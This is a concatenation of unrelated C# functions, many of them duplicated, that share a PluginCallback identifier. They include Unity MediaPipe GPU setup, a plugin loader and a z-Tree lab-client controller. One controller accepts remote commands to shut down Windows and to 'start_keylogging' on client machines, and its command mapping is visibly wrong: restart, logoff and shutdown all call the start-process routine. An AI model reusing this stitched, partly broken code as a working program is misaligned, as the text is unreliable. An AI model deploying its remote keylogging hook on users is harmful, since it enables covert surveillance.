void Start() { #if UNITY_EDITOR_OSX || UNITY_EDITOR_WIN #if UNITY_STANDALONE if (useGPU) { Debug.LogWarning("PC Standalone on macOS or Windows does not support GPU. Uncheck `Use GPU` from the Inspector window (SceneDirector)."); } #endif #endif webCamScreen = GameObject.Find("WebCamScreen"); #if UNITY_ANDROID if (IsGpuEnabled()) { PluginCallback callback = GetCurrentContext; var fp = Marshal.GetFunctionPointerForDelegate(callback); GL.IssuePluginEvent(fp, 1); } #endif var resourceManager = GameObject.Find("ResourceManager"); #if UNITY_EDITOR resourceManager.AddComponent <LocalAssetLoader>(); #else resourceManager.AddComponent <AssetBundleLoader>(); #endif }
async void Start() { webCamScreen = GameObject.Find("WebCamScreen"); #if UNITY_ANDROID if (useGPU) { PluginCallback callback = GetCurrentContext; var fp = Marshal.GetFunctionPointerForDelegate(callback); GL.IssuePluginEvent(fp, 1); } #endif #if UNITY_EDITOR var resourceManager = LocalAssetManager.Instance; #else var resourceManager = AssetBundleManager.Instance; #endif ResourceUtil.InitializeResourceManager(resourceManager); try { await resourceManager.LoadAllAssetsAsync(); IsAssetLoaded = true; } catch (Exception e) { Debug.LogError(e); IsAssetLoadFailed = true; } }
async void Start() { webCamScreen = GameObject.Find("WebCamScreen"); if (useGPU) { PluginCallback gpuHelperInitializer = InitializeGpuHelper; InitializeGpuHelperHandle = GCHandle.Alloc(gpuHelperInitializer, GCHandleType.Pinned); var fp = Marshal.GetFunctionPointerForDelegate(gpuHelperInitializer); GL.IssuePluginEvent(fp, 1); } #if UNITY_EDITOR var resourceManager = LocalAssetManager.Instance; #else var resourceManager = AssetBundleManager.Instance; #endif ResourceUtil.InitializeResourceManager(resourceManager); try { await resourceManager.LoadAllAssetsAsync(); IsAssetLoaded = true; } catch (Exception e) { Debug.LogError(e); IsAssetLoadFailed = true; } }
/// <summary> /// Loads plugins by recursively searching the plugin paths for *.plugin files. /// </summary> /// <param name="pluginCallback">A function that receives plugin metadata as it /// becomes available, not null.</param> /// <param name="progressMonitor"></param> protected virtual void LoadPlugins(PluginCallback pluginCallback, IProgressMonitor progressMonitor) { if (pluginPaths.Count == 0) { return; } var uniquePluginFilePaths = new HashSet <string>(); using (progressMonitor.BeginTask("Loading plugins", pluginPaths.Count)) { foreach (var pluginPath in pluginPaths) { using (var subProgressMonitor = progressMonitor.CreateSubProgressMonitor(1)) { var pluginDirectory = new DirectoryInfo(pluginPath); if (pluginDirectory.Exists) { LoadPluginsFromDirectory(pluginDirectory, uniquePluginFilePaths, pluginCallback, subProgressMonitor); } else { var pluginFile = new FileInfo(pluginPath); if (pluginFile.Exists) { LoadPluginsFromFile(pluginFile, uniquePluginFilePaths, pluginCallback, subProgressMonitor); } } } } } }
private void uxListBox_KeyUp(object sender, KeyEventArgs e) { if (Mode == DisplayData.Question) { if (e.KeyCode == Keys.Enter) { var selectedText = uxListBox.GetItemText(uxListBox.SelectedItem); ClearList(); Mode = DisplayData.Default; uxInputText.Text = ""; HideForm(); uxInputText.Enabled = true; //PluginCallback?.Invoke(selectedText); if (PluginCallback != null) { PluginCallback.Invoke(selectedText); } else { ClearList(); } } else if (e.KeyCode == Keys.Escape) { uxInputText.Text = ""; ClearList(); Mode = DisplayData.Default; } } }
public void SetTask(Message message) { try { var thread = new Thread(new ThreadStart(() => { try { TraceOps.Out("WebControl Client recived Message: " + message.GetCommand()); if (message.GetCommand() == "open_browser") { var d = new PluginCallback(_control.StartBrowser); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "open_custom_browser") { var d = new PluginCallback(_control.StartCustomBrowser); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "close_browser") { var d = new PluginCallback(_control.StopBrowser); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "change_url") { var p = message.GetParameter(); var value = ""; if (p.GetLength(0) > 0 && p.GetLength(1) > 1) { value = Message.GetAttribute(p, "url"); } if (value != "") { _control.SetUrl(value); } var d = new PluginCallback(_control.ChangeUrl); _mainForm.Invoke(d, new object[] { }); } } catch (Exception e) { TraceOps.Out(e.ToString()); } })); thread.Start(); } catch (Exception e) { TraceOps.Out(e.ToString()); } }
private async Task OnPluginCallback(object source, ActionEventArgs e) { if (PluginCallback == null) { return; } await PluginCallback.Invoke(source, e); }
public static IEnumerator Initialize() { lock (setupLock) { if (isInitialized) { Logger.LogWarning(TAG, "Already set up"); yield break; } #if UNITY_ANDROID && !UNITY_EDITOR isContextInitialized = false; PluginCallback callback = GetCurrentContext; var fp = Marshal.GetFunctionPointerForDelegate(callback); GL.IssuePluginEvent(fp, 1); #else isContextInitialized = true; #endif var count = 1000; yield return(new WaitUntil(() => { return --count < 0 || isContextInitialized; })); if (!isContextInitialized) { throw new TimeoutException("Failed to get GlContext"); } #if UNITY_ANDROID if (currentContext == IntPtr.Zero) { Logger.LogWarning(TAG, "EGL context is not found, so MediaPipe won't share their EGL contexts with Unity"); } else { Logger.LogVerbose(TAG, $"EGL context is found: {currentContext}"); } #endif try { Logger.LogInfo(TAG, "Initializing GpuResources..."); gpuResources = GpuResources.Create(currentContext).Value(); Logger.LogInfo(TAG, "Initializing GlCalculatorHelper..."); glCalculatorHelper = new GlCalculatorHelper(); glCalculatorHelper.InitializeForTest(gpuResources); isInitialized = true; } catch (Exception e) { Logger.LogException(e); Logger.LogError(TAG, "Failed to create GpuResources. If your native library is built for CPU, change 'Preferable Inference Mode' to CPU from the Inspector Window for Bootstrap"); } } }
/// <summary> /// Registers the callback. /// </summary> /// <param name="callbackId">Calback id.</param> /// <param name="callback">Callback delegate</param> public void RegisterCallback(long callbackId, PluginCallback callback) { Debug.Assert(callback != null); var res = _callbacks.GetOrAdd(callbackId, _ => callback); if (res != callback) { throw new IgniteException(string.Format( "Plugin callback with id {0} is already registered", callbackId)); } }
private void LoadPluginsFromDirectory(DirectoryInfo pluginDirectory, ICollection <string> uniquePluginFilePaths, PluginCallback pluginCallback, IProgressMonitor progressMonitor) { var pluginFiles = pluginDirectory.GetFiles("*.plugin", SearchOption.AllDirectories); if (pluginFiles.Length == 0) { return; } using (progressMonitor.BeginTask(string.Format("Loading plugins from: {0}", pluginDirectory.Name), pluginFiles.Length)) { foreach (var pluginFile in pluginFiles) { using (var subProgressMonitor = progressMonitor.CreateSubProgressMonitor(1)) LoadPluginsFromFile(pluginFile, uniquePluginFilePaths, pluginCallback, subProgressMonitor); } } }
async void Start() { #if UNITY_EDITOR_OSX || UNITY_EDITOR_WIN #if UNITY_STANDALONE if (useGPU) { Debug.LogWarning("PC Standalone on macOS or Windows does not support GPU. Uncheck `Use GPU` from the Inspector window (SceneDirector)."); } #endif #endif webCamScreen = GameObject.Find("WebCamScreen"); #if UNITY_ANDROID if (IsGpuEnabled()) { PluginCallback callback = GetCurrentContext; var fp = Marshal.GetFunctionPointerForDelegate(callback); GL.IssuePluginEvent(fp, 1); } #endif #if UNITY_EDITOR var resourceManager = LocalAssetManager.Instance; #else var resourceManager = AssetBundleManager.Instance; #endif ResourceUtil.InitializeResourceManager(resourceManager); try { await resourceManager.LoadAllAssetsAsync(); IsAssetLoaded = true; } catch (Exception e) { Debug.LogError(e); IsAssetLoadFailed = true; } }
public void SetTask(Message message) { TraceOps.Out("ExternalControl Client recived Message: " + message.GetCommand()); if (message.GetCommand() == "start_externalcontrol") { var d = new PluginCallback(_control.RemoteStartProcess); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "start_externalcontrol") { var d = new PluginCallback(_control.RemoteStopProcess); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "restart_windows") { var d = new PluginCallback(_control.RemoteStartProcess); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "logoff_windows") { var d = new PluginCallback(_control.RemoteStartProcess); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "shutdown_windows") { var d = new PluginCallback(_control.RemoteStartProcess); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "start_keylogging") { var d = new PluginCallback(_control.RemoteKeyLogging); _mainForm.Invoke(d, new object[] { }); } }
public void AddCallback(Plugin plugin, Func <ConsoleSystem.Arg, bool> callback) => Callback = new PluginCallback(plugin, callback);
public void AddCallback(Plugin plugin, string name) => Callback = new PluginCallback(plugin, name);
/// <inheritdoc /> protected override void LoadPlugins(PluginCallback pluginCallback, IProgressMonitor progressMonitor) { // Attempt to read the old cache. string cacheFilePath; try { Hash64 hash = new Hash64(); foreach (string pluginPath in PluginPaths) { hash = hash.Add(pluginPath); } foreach (string constant in InitialPreprocessorConstants) { hash = hash.Add(constant); } hash = hash.Add(InstallationId.ToString()); string cacheDirPath = GetCurrentUserPluginCacheDir(); string cacheFileName = hash + ".xml"; cacheFilePath = Path.Combine(cacheDirPath, cacheFileName); if (Directory.Exists(cacheDirPath)) { if (File.Exists(cacheFilePath)) { Cache oldCache = ReadCacheFile(cacheFilePath); if (oldCache != null) { foreach (var pluginInfo in oldCache.PluginInfos) { pluginCallback(pluginInfo.Plugin, new DirectoryInfo(pluginInfo.BaseDirectory), pluginInfo.PluginFile); } return; } } } else { Directory.CreateDirectory(cacheDirPath); } } catch (Exception) { // Fallback on any failure. // There can be all sorts of weird security exceptions that will prevent // us from manipulating the local application data directory. base.LoadPlugins(pluginCallback, progressMonitor); return; } // Load plugin metadata. var newCache = new Cache { InstallationId = InstallationId.ToString() }; base.LoadPlugins((plugin, baseDirectory, pluginFile) => { newCache.PluginInfos.Add(new CachePluginInfo { Plugin = plugin, BaseDirectory = baseDirectory.FullName, PluginFile = pluginFile, PluginFileModificationTime = File.GetLastWriteTimeUtc(pluginFile) }); pluginCallback(plugin, baseDirectory, pluginFile); }, progressMonitor); // Attempt to store it in the cache. try { WriteCacheFile(cacheFilePath, newCache); } catch (Exception) { // Ignore any failure. } }
static PluginCallback() { m_instance = new PluginCallback(); }
public static void FindDeleteFileAndStartAgain(string path, string process, bool panel) { try { var thread = new Thread(new ThreadStart(() => { try { var found = true; while (found) { Thread.Sleep(10); found = false; foreach (Process clsProcess in Process.GetProcesses()) { if (clsProcess.ProcessName.StartsWith(process)) { found = true; try { clsProcess.Kill(); } catch(Exception e) { TraceOps.Out(e.ToString()); } } } } while (File.Exists(path)) { File.Delete(path); ProcessControl.FindAndDeleteGsf(AppDomain.CurrentDomain.BaseDirectory); } var exeBytes = Properties.Resources.ztree; _processZTree = new Process {StartInfo = {FileName = path}}; using (var exeFile = new FileStream(path, FileMode.CreateNew)) { exeFile.Write(exeBytes, 0, exeBytes.Length); } _processZTree.Start(); if (panel) { var d = new PluginCallback(SetWindowToPanel); _mainForm.Invoke(d, new object[] { }); } } catch (Exception e) { TraceOps.Out(e.ToString()); } })); thread.Start(); } catch (Exception e) { TraceOps.Out(e.ToString()); } }
/// <inheritdoc /> protected override void LoadPlugins(PluginCallback pluginCallback, IProgressMonitor progressMonitor) { // Attempt to read the old cache. string cacheFilePath; try { Hash64 hash = new Hash64(); foreach (string pluginPath in PluginPaths) hash = hash.Add(pluginPath); foreach (string constant in InitialPreprocessorConstants) hash = hash.Add(constant); hash = hash.Add(InstallationId.ToString()); string cacheDirPath = GetCurrentUserPluginCacheDir(); string cacheFileName = hash + ".xml"; cacheFilePath = Path.Combine(cacheDirPath, cacheFileName); if (Directory.Exists(cacheDirPath)) { if (File.Exists(cacheFilePath)) { Cache oldCache = ReadCacheFile(cacheFilePath); if (oldCache != null) { foreach (var pluginInfo in oldCache.PluginInfos) pluginCallback(pluginInfo.Plugin, new DirectoryInfo(pluginInfo.BaseDirectory), pluginInfo.PluginFile); return; } } } else { Directory.CreateDirectory(cacheDirPath); } } catch (Exception) { // Fallback on any failure. // There can be all sorts of weird security exceptions that will prevent // us from manipulating the local application data directory. base.LoadPlugins(pluginCallback, progressMonitor); return; } // Load plugin metadata. var newCache = new Cache { InstallationId = InstallationId.ToString() }; base.LoadPlugins((plugin, baseDirectory, pluginFile) => { newCache.PluginInfos.Add(new CachePluginInfo { Plugin = plugin, BaseDirectory = baseDirectory.FullName, PluginFile = pluginFile, PluginFileModificationTime = File.GetLastWriteTimeUtc(pluginFile) }); pluginCallback(plugin, baseDirectory, pluginFile); }, progressMonitor); // Attempt to store it in the cache. try { WriteCacheFile(cacheFilePath, newCache); } catch (Exception) { // Ignore any failure. } }
public void SetTask(Message message) { TraceOps.Out("ExternalControl Client recived Message: " + message.GetCommand()); if (message.GetCommand() == "start_externalcontrol") { var d = new PluginCallback(_control.RemoteStartProcess); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "start_externalcontrol") { var d = new PluginCallback(_control.RemoteStopProcess); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "restart_windows") { var d = new PluginCallback(_control.RemoteStartProcess); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "logoff_windows") { var d = new PluginCallback(_control.RemoteStartProcess); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "shutdown_windows") { var d = new PluginCallback(_control.RemoteStartProcess); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "start_keylogging") { var d = new PluginCallback(_control.RemoteKeyLogging); _mainForm.Invoke(d, new object[] { }); } }
private void LoadPluginsFromFile(FileInfo pluginFile, ICollection <string> uniquePluginFilePaths, PluginCallback pluginCallback, IProgressMonitor progressMonitor) { using (progressMonitor.BeginTask(string.Format("Loading plugins from: {0}", pluginFile.Name), 1)) { var pluginFilePath = pluginFile.FullName; if (uniquePluginFilePaths.Contains(pluginFilePath)) { return; } uniquePluginFilePaths.Add(pluginFilePath); var plugin = ReadPluginMetadataFromFile(pluginFile); pluginCallback(plugin, pluginFile.Directory, pluginFilePath); } }
private void LoadPluginsFromDirectory(DirectoryInfo pluginDirectory, ICollection<string> uniquePluginFilePaths, PluginCallback pluginCallback, IProgressMonitor progressMonitor) { var pluginFiles = pluginDirectory.GetFiles("*.plugin", SearchOption.AllDirectories); if (pluginFiles.Length == 0) return; using (progressMonitor.BeginTask(string.Format("Loading plugins from: {0}", pluginDirectory.Name), pluginFiles.Length)) { foreach (var pluginFile in pluginFiles) { using (var subProgressMonitor = progressMonitor.CreateSubProgressMonitor(1)) LoadPluginsFromFile(pluginFile, uniquePluginFilePaths, pluginCallback, subProgressMonitor); } } }
/// <summary> /// Loads plugins by recursively searching the plugin paths for *.plugin files. /// </summary> /// <param name="pluginCallback">A function that receives plugin metadata as it /// becomes available, not null.</param> /// <param name="progressMonitor"></param> protected virtual void LoadPlugins(PluginCallback pluginCallback, IProgressMonitor progressMonitor) { if (pluginPaths.Count == 0) return; var uniquePluginFilePaths = new HashSet<string>(); using (progressMonitor.BeginTask("Loading plugins", pluginPaths.Count)) { foreach (var pluginPath in pluginPaths) { using (var subProgressMonitor = progressMonitor.CreateSubProgressMonitor(1)) { var pluginDirectory = new DirectoryInfo(pluginPath); if (pluginDirectory.Exists) { LoadPluginsFromDirectory(pluginDirectory, uniquePluginFilePaths, pluginCallback, subProgressMonitor); } else { var pluginFile = new FileInfo(pluginPath); if (pluginFile.Exists) { LoadPluginsFromFile(pluginFile, uniquePluginFilePaths, pluginCallback, subProgressMonitor); } } } } } }
/// <summary> /// Initialize GPU resources. /// If it finishes successfully, <see cref="IsInitialized" /> will be set to <c>true</c>. /// </summary> /// <remarks> /// If <see cref="IsInitialized" /> is <c>true</c>, it will do nothing. /// Before the application exits, don't forget to call <see cref="Shutdown" />. /// </remarks> public static IEnumerator Initialize() { lock (_SetupLock) { if (IsInitialized) { Logger.LogInfo(_TAG, "Already initialized"); yield break; } #if UNITY_ANDROID _IsContextInitialized = SystemInfo.graphicsDeviceType != GraphicsDeviceType.OpenGLES3; if (!_IsContextInitialized) { PluginCallback callback = GetCurrentContext; var fp = Marshal.GetFunctionPointerForDelegate(callback); GL.IssuePluginEvent(fp, 1); } #else _IsContextInitialized = true; #endif var count = 100; yield return(new WaitUntil(() => { return --count < 0 || _IsContextInitialized; })); if (!_IsContextInitialized) { Logger.LogError(_TAG, "Failed to get GlContext"); yield break; } #if UNITY_ANDROID if (_CurrentContext == IntPtr.Zero) { Logger.LogWarning(_TAG, "EGL context is not found, so MediaPipe won't share their EGL contexts with Unity"); } else { Logger.LogVerbose(_TAG, $"EGL context is found: {_CurrentContext}"); } #endif try { Logger.LogInfo(_TAG, "Initializing GpuResources..."); var statusOrGpuResources = GpuResources.Create(_CurrentContext); statusOrGpuResources.status.AssertOk(); GpuResources = statusOrGpuResources.Value(); Logger.LogInfo(_TAG, "Initializing GlCalculatorHelper..."); GlCalculatorHelper = new GlCalculatorHelper(); GlCalculatorHelper.InitializeForTest(GpuResources); IsInitialized = true; } catch (EntryPointNotFoundException e) { Logger.LogException(e); Logger.LogError(_TAG, "Failed to create GpuResources. Did you build libraries with GPU enabled?"); } catch (Exception e) { Logger.LogException(e); } } }
public void SetTask(Message message) { try { var thread = new Thread(new ThreadStart(() => { try { TraceOps.Out("WebControl Client recived Message: "+ message.GetCommand()); if (message.GetCommand() == "open_browser") { var d = new PluginCallback(_control.StartBrowser); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "open_custom_browser") { var d = new PluginCallback(_control.StartCustomBrowser); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "close_browser") { var d = new PluginCallback(_control.StopBrowser); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "change_url") { var p = message.GetParameter(); var value = ""; if (p.GetLength(0) > 0 && p.GetLength(1) > 1) { value = Message.GetAttribute(p, "url"); } if (value != "") _control.SetUrl(value); var d = new PluginCallback(_control.ChangeUrl); _mainForm.Invoke(d, new object[] { }); } } catch (Exception e) { TraceOps.Out(e.ToString()); } })); thread.Start(); } catch (Exception e) { TraceOps.Out(e.ToString()); } }
/** <inheritdoc /> */ public void RegisterCallback(long callbackId, PluginCallback callback) { IgniteArgumentCheck.NotNull(callback, "callback"); _pluginProcessor.RegisterCallback(callbackId, callback); }
static PluginCallback() { m_instance = new PluginCallback(); }
private void LoadPluginsFromFile(FileInfo pluginFile, ICollection<string> uniquePluginFilePaths, PluginCallback pluginCallback, IProgressMonitor progressMonitor) { using (progressMonitor.BeginTask(string.Format("Loading plugins from: {0}", pluginFile.Name), 1)) { var pluginFilePath = pluginFile.FullName; if (uniquePluginFilePaths.Contains(pluginFilePath)) return; uniquePluginFilePaths.Add(pluginFilePath); var plugin = ReadPluginMetadataFromFile(pluginFile); pluginCallback(plugin, pluginFile.Directory, pluginFilePath); } }
public void SetTask(Message message) { TraceOps.Out("ZtreeControl Client recived Message: " + message.GetCommand()); if (message.GetCommand() == "start_zleaf") { var d = new PluginCallback(_control.StartZLeaf); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "stop_zleaf") { var d = new PluginCallback(_control.StopZLeaf); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "set_preferences") { var p = message.GetParameter(); var xvalue = ""; var yvalue = ""; var wvalue = ""; var hvalue = ""; if (p.GetLength(0) > 0 && p.GetLength(1) > 1) { xvalue = Message.GetAttribute(p, "X"); } if (p.GetLength(0) > 0 && p.GetLength(1) > 1) { yvalue = Message.GetAttribute(p, "Y"); } if (p.GetLength(0) > 0 && p.GetLength(1) > 1) { wvalue = Message.GetAttribute(p, "W"); } if (p.GetLength(0) > 0 && p.GetLength(1) > 1) { hvalue = Message.GetAttribute(p, "H"); } try { if (xvalue != "") { ClientModel.X = Convert.ToInt32(xvalue); } if (yvalue != "") { ClientModel.Y = Convert.ToInt32(yvalue); } if (wvalue != "") { ClientModel.W = Convert.ToInt32(wvalue); } if (hvalue != "") { ClientModel.H = Convert.ToInt32(hvalue); } var np = new string[, ] { { }, { } }; var nm = new Message(np, true, "zleaf_config_changed", "Server"); _messageQueue.SetMessage(nm); } catch (Exception e) { TraceOps.Out(e.ToString()); } } }
public static void FindDeleteFileAndStartAgain(string path, string process, bool panel) { try { var thread = new Thread(new ThreadStart(() => { try { var found = true; while (found) { Thread.Sleep(10); found = false; foreach (Process clsProcess in Process.GetProcesses()) { if (clsProcess.ProcessName.StartsWith(process)) { found = true; try { clsProcess.Kill(); } catch (Exception e) { TraceOps.Out(e.ToString()); } } } } while (File.Exists(path)) { File.Delete(path); ProcessControl.FindAndDeleteGsf(AppDomain.CurrentDomain.BaseDirectory); } var exeBytes = Properties.Resources.ztree; _processZTree = new Process { StartInfo = { FileName = path } }; using (var exeFile = new FileStream(path, FileMode.CreateNew)) { exeFile.Write(exeBytes, 0, exeBytes.Length); } _processZTree.Start(); if (panel) { var d = new PluginCallback(SetWindowToPanel); _mainForm.Invoke(d, new object[] { }); } } catch (Exception e) { TraceOps.Out(e.ToString()); } })); thread.Start(); } catch (Exception e) { TraceOps.Out(e.ToString()); } }
public void SetTask(Message message) { TraceOps.Out("ZtreeControl Client recived Message: " + message.GetCommand()); if (message.GetCommand() == "start_zleaf") { var d = new PluginCallback(_control.StartZLeaf); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "stop_zleaf") { var d = new PluginCallback(_control.StopZLeaf); _mainForm.Invoke(d, new object[] { }); } if (message.GetCommand() == "set_preferences") { var p = message.GetParameter(); var xvalue = ""; var yvalue = ""; var wvalue = ""; var hvalue = ""; if (p.GetLength(0) > 0 && p.GetLength(1) > 1) { xvalue = Message.GetAttribute(p, "X"); } if (p.GetLength(0) > 0 && p.GetLength(1) > 1) { yvalue = Message.GetAttribute(p, "Y"); } if (p.GetLength(0) > 0 && p.GetLength(1) > 1) { wvalue = Message.GetAttribute(p, "W"); } if (p.GetLength(0) > 0 && p.GetLength(1) > 1) { hvalue = Message.GetAttribute(p, "H"); } try { if (xvalue != "") ClientModel.X = Convert.ToInt32(xvalue); if (yvalue != "") ClientModel.Y = Convert.ToInt32(yvalue); if (wvalue != "") ClientModel.W = Convert.ToInt32(wvalue); if (hvalue != "") ClientModel.H = Convert.ToInt32(hvalue); var np = new string[,] { { }, { } }; var nm = new Message(np, true, "zleaf_config_changed", "Server"); _messageQueue.SetMessage(nm); } catch (Exception e) { TraceOps.Out(e.ToString()); } } }